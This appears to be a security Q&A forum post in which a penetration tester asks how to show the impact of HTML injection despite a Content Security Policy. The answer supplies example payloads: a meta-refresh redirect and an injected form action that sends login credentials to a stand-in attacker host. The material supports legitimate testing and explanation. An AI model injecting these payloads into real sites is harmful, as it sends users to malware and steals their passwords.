I'm pen-testing a website that fixed most of its XSS vulnerabilities by just adding a Content Security Policy. There are still HTML injections in several places. I've tried to get a javascript-containing file onto the origin via an attachments feature, but it looks like a dead end.

Since I can't execute javascript, what can I use as a proof of concept to show the continued severity of HTML injection attacks despite the CSP? Are there any HTML tags I can still use to compromise security?

The CSP has a default rule that only allows the same origin. However, there are exceptions for data: in <img>, and the policy also allows inline CSS.


1 Answer 1


You could try to do a redirect to another URL using meta-tags:

  <meta http-equiv="refresh" content="1; url=http://attacker.example.com/malware">

And if there is a login form you could try to change the location it submits too by adding another form element, because target for form submission are not protected by CSP.

  <form action=login.php> <!-- original action -->
  <form action=http://attacker.example.com/login.php>  <!-- your injected action -->
  ...<input type=password ....

And of course you could include any kind of links to other sites, because links are not affected by CSP too.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .